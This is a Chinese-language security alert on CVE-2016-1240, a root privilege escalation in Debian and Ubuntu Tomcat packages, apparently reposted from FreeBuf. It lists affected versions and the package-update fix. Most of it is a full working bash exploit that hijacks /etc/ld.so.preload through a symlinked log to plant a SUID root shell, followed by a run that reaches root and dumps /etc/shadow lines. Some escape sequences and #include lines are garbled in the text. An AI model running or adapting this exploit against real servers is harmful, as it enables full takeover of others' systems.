漏洞预警:Tomcat曝本地提权漏洞 (CVE20161240 附PoC)

2023年 5月 4日 87.7k 0

Tomcat于10月1日曝出本地提权漏洞CVE-2016-1240。仅需Tomcat用户低权限,攻击者就能利用该漏洞获取到系统的ROOT权限。而且该漏洞的利用难度并不大,受影响的用户需要特别关注。
漏洞预警:Tomcat曝本地提权漏洞 (CVE-2016-1240 附PoC)
漏洞预警:Tomcat曝本地提权漏洞 (CVE-2016-1240 附PoC)
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Tomcat于10月1日曝出本地提权漏洞CVE-2016-1240。仅需Tomcat用户低权限,攻击者就能利用该漏洞获取到系统的ROOT权限。而且该漏洞的利用难度并不大,受影响的用户需要特别关注。
Tomcat是个运行在Apache上的应用服务器,支持运行Servlet/JSP应用程序的容器——可以将Tomcat看作是Apache的扩展,实际上Tomcat也可以独立于Apache运行。
14758465183165.png!small.jpg-107.8kB
漏洞编号:
CVE-2016-1240
影响范围:

Tomcat 8 <= 8.0.36-2
Tomcat 7 <= 7.0.70-2
Tomcat 6 <= 6.0.45+dfsg-1~deb8u1

受影响的系统包括Debian、Ubuntu,其他使用相应deb包的系统也可能受到影响。
修复方案:
Debian安全团队已经修复了受影响的包;更新至系统提供的最新版Tomcat包即可。
漏洞概述:
Debian系统的Linux上管理员通常利用apt-get进行包管理,CVE-2016-1240这一漏洞其问题出在Tomcat的deb包中,使 deb包安装的Tomcat程序会自动为管理员安装一个启动脚本:/etc/init.d/tocat* 利用该脚本,可导致攻击者通过低权限的Tomcat用户获得系统root权限!

# Run the catalina.sh script as a daemon
set +e
touch "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out
chown $TOMCAT7_USER "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out

本地攻击者,作为tomcat用户(比如说,通过web应用的漏洞)若将catalina.out修改为指向任意系统文件的链接,一旦Tomcat init脚本(ROOT权限运行)在服务重启后再次打开catalina.out文件,攻击者就可获取ROOT权限。
漏洞PoC:

#!/bin/bash
#
# Tomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit
#
# CVE-2016-1240
#
# Discovered and coded by:
#
# Dawid Golunski
# http://legalhackers.com
#
# This exploit targets Tomcat (versions 6, 7 and 8) packaging on 
# Debian-based distros including Debian, Ubuntu etc.
# It allows attackers with a tomcat shell (e.g. obtained remotely through a 
# vulnerable java webapp, or locally via weak permissions on webapps in the 
# Tomcat webroot directories etc.) to escalate their privileges to root.
#
# Usage:
# ./tomcat-rootprivesc-deb.sh path_to_catalina.out [-deferred]
#
# The exploit can used in two ways:
#
# -active (assumed by default) - which waits for a Tomcat restart in a loop and instantly
# gains/executes a rootshell via ld.so.preload as soon as Tomcat service is restarted. 
# It also gives attacker a chance to execute: kill [tomcat-pid] command to force/speed up
# a Tomcat restart (done manually by an admin, or potentially by some tomcat service watchdog etc.)
#
# -deferred (requires the -deferred switch on argv[2]) - this mode symlinks the logfile to 
# /etc/default/locale and exits. It removes the need for the exploit to run in a loop waiting. 
# Attackers can come back at a later time and check on the /etc/default/locale file. Upon a 
# Tomcat restart / server reboot, the file should be owned by tomcat user. The attackers can
# then add arbitrary commands to the file which will be executed with root privileges by 
# the /etc/cron.daily/tomcatN logrotation cronjob (run daily around 6:25am on default 
# Ubuntu/Debian Tomcat installations).
#
# See full advisory for details at:
# http://legalhackers.com/advisories/Tomcat-DebPkgs-Root-Privilege-Escalation-Exploit-CVE-2016-1240.html
#
# Disclaimer:
# For testing purposes only. Do no harm.
#

BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/tomcatrootsh"
PRIVESCLIB="/tmp/privesclib.so"
PRIVESCSRC="/tmp/privesclib.c"
SUIDBIN="/usr/bin/sudo"

function cleanexit {
    # Cleanup 
    echo -e "n[+] Cleaning up..."
    rm -f $PRIVESCSRC
    rm -f $PRIVESCLIB
    rm -f $TOMCATLOG
    touch $TOMCATLOG
    if [ -f /etc/ld.so.preload ]; then
        echo -n > /etc/ld.so.preload 2>/dev/null
    fi
    echo -e "n[+] Job done. Exiting with code $1 n"
    exit $1
}

function ctrl_c() {
        echo -e "n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation."
    cleanexit 0
}

#intro 
echo -e "33[94m nTomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation ExploitnCVE-2016-1240n"
echo -e "Discovered and coded by: nnDawid Golunski nhttp://legalhackers.com 33[0m"

# Args
if [ $# -lt 1 ]; then
    echo -e "n[!] Exploit usage: nn$0 path_to_catalina.out [-deferred]n"
    exit 3
fi
if [ "$2" = "-deferred" ]; then
    mode="deferred"
else
    mode="active"
fi

# Priv check
echo -e "n[+] Starting the exploit in [33[94m$mode33[0m] mode with the following privileges: n`id`"
id | grep -q tomcat
if [ $? -ne 0 ]; then
    echo -e "n[!] You need to execute the exploit as tomcat user! Exiting.n"
    exit 3
fi

# Set target paths
TOMCATLOG="$1"
if [ ! -f $TOMCATLOG ]; then
    echo -e "n[!] The specified Tomcat catalina.out log ($TOMCATLOG) doesn't exist. Try again.n"
    exit 3
fi
echo -e "n[+] Target Tomcat log file set to $TOMCATLOG"

# [ Deferred exploitation ]

# Symlink the log file to /etc/default/locale file which gets executed daily on default
# tomcat installations on Debian/Ubuntu by the /etc/cron.daily/tomcatN logrotation cronjob around 6:25am.
# Attackers can freely add their commands to the /etc/default/locale script after Tomcat has been
# restarted and file owner gets changed.
if [ "$mode" = "deferred" ]; then
    rm -f $TOMCATLOG && ln -s /etc/default/locale $TOMCATLOG
    if [ $? -ne 0 ]; then
        echo -e "n[!] Couldn't remove the $TOMCATLOG file or create a symlink."
        cleanexit 3
    fi
    echo -e  "n[+] Symlink created at: n`ls -l $TOMCATLOG`"
    echo -e  "n[+] The current owner of the file is: n`ls -l /etc/default/locale`"
    echo -ne "n[+] Keep an eye on the owner change on /etc/default/locale . After the Tomcat restart / system reboot"
    echo -ne "n    you'll be able to add arbitrary commands to the file which will get executed with root privileges"
    echo -ne "n    at ~6:25am by the /etc/cron.daily/tomcatN log rotation cron. See also -active mode if you can't wait ;)
 nn"
    exit 0
fi

# [ Active exploitation ]

trap ctrl_c INT
# Compile privesc preload library
echo -e "n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include 
#include 
#include 
#include 
uid_t geteuid(void) {
    static uid_t  (*old_geteuid)();
    old_geteuid = dlsym(RTLD_NEXT, "geteuid");
    if ( old_geteuid() == 0 ) {
        chown("$BACKDOORPATH", 0, 0);
        chmod("$BACKDOORPATH", 04777);
        unlink("/etc/ld.so.preload");
    }
    return old_geteuid();
}
_solibeof_
gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl
if [ $? -ne 0 ]; then
    echo -e "n[!] Failed to compile the privesc lib $PRIVESCSRC."
    cleanexit 2;
fi

# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e "n[+] Backdoor/low-priv shell installed at: n`ls -l $BACKDOORPATH`"

# Safety check
if [ -f /etc/ld.so.preload ]; then
    echo -e "n[!] /etc/ld.so.preload already exists. Exiting for safety."
    cleanexit 2
fi

# Symlink the log file to ld.so.preload
rm -f $TOMCATLOG && ln -s /etc/ld.so.preload $TOMCATLOG
if [ $? -ne 0 ]; then
    echo -e "n[!] Couldn't remove the $TOMCATLOG file or create a symlink."
    cleanexit 3
fi
echo -e "n[+] Symlink created at: n`ls -l $TOMCATLOG`"

# Wait for Tomcat to re-open the logs
echo -ne "n[+] Waiting for Tomcat to re-open the logs/Tomcat service restart..."
echo -e  "nYou could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed ;)
 "
while :; do 
    sleep 0.1
    if [ -f /etc/ld.so.preload ]; then
        echo $PRIVESCLIB > /etc/ld.so.preload
        break;
    fi
done

# /etc/ld.so.preload file should be owned by tomcat user at this point
# Inject the privesc.so shared library to escalate privileges
echo $PRIVESCLIB > /etc/ld.so.preload
echo -e "n[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges: n`ls -l /etc/ld.so.preload`"
echo -e "n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
echo -e "n[+] The /etc/ld.so.preload file now contains: n`cat /etc/ld.so.preload`"

# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e "n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
sudo --help 2>/dev/null >/dev/null

# Check for the rootshell
ls -l $BACKDOORPATH | grep rws | grep -q root
if [ $? -eq 0 ]; then 
    echo -e "n[+] Rootshell got assigned root SUID perms at: n`ls -l $BACKDOORPATH`"
    echo -e "n33[94mPlease tell me you're seeing this too ;)
  33[0m"
else
    echo -e "n[!] Failed to get root"
    cleanexit 2
fi

# Execute the rootshell
echo -e "n[+] Executing the rootshell $BACKDOORPATH now! n"
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
$BACKDOORPATH -p

# Job done.
cleanexit 0

Poc运行示例:

tomcat7@ubuntu:/tmp$ id
uid=110(tomcat7) gid=118(tomcat7) groups=118(tomcat7)

tomcat7@ubuntu:/tmp$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 16.04 LTS
Release:    16.04
Codename:   xenial

tomcat7@ubuntu:/tmp$ dpkg -l | grep tomcat
ii  libtomcat7-java              7.0.68-1ubuntu0.1               all          Servlet and JSP engine -- core libraries
ii  tomcat7                      7.0.68-1ubuntu0.1               all          Servlet and JSP engine
ii  tomcat7-common               7.0.68-1ubuntu0.1               all          Servlet and JSP engine -- common files

tomcat7@ubuntu:/tmp$ ./tomcat-rootprivesc-deb.sh /var/log/tomcat7/catalina.out 

Tomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit
CVE-2016-1240

Discovered and coded by: 

Dawid Golunski 

http://legalhackers.com

[+] Starting the exploit in [active] mode with the following privileges: 
uid=110(tomcat7) gid=118(tomcat7) groups=118(tomcat7)

[+] Target Tomcat log file set to /var/log/tomcat7/catalina.out

[+] Compiling the privesc shared library (/tmp/privesclib.c)

[+] Backdoor/low-priv shell installed at: 
-rwxr-xr-x 1 tomcat7 tomcat7 1037464 Sep 30 22:27 /tmp/tomcatrootsh

[+] Symlink created at: 
lrwxrwxrwx 1 tomcat7 tomcat7 18 Sep 30 22:27 /var/log/tomcat7/catalina.out -> /etc/ld.so.preload

[+] Waiting for Tomcat to re-open the logs/Tomcat service restart...
You could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed ;)


[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges: 
-rw-r--r-- 1 tomcat7 root 19 Sep 30 22:28 /etc/ld.so.preload

[+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload

[+] The /etc/ld.so.preload file now contains: 
/tmp/privesclib.so

[+] Escalating privileges via the /usr/bin/sudo SUID binary to get root!

[+] Rootshell got assigned root SUID perms at: 
-rwsrwxrwx 1 root root 1037464 Sep 30 22:27 /tmp/tomcatrootsh

Please tell me you're seeing this too ;)


[+] Executing the rootshell /tmp/tomcatrootsh now! 

tomcatrootsh-4.3# id
uid=110(tomcat7) gid=118(tomcat7) euid=0(root) groups=118(tomcat7)
tomcatrootsh-4.3# whoami
root
tomcatrootsh-4.3# head -n3 /etc/shadow
root:$6$oaf[cut]:16912:0:99999:7:::
daemon:*:16912:0:99999:7:::
bin:*:16912:0:99999:7:::
tomcatrootsh-4.3# exit
exit

*编译:漏洞盒子安全团队,消息来源:Twitter,转载请注明来自FreeBuf.COM
原文:http://www.freebuf.com/vuls/115862.html?spm=5176.2020520154.sas.14.Ha4Thk
weixin.gif-425.6kB

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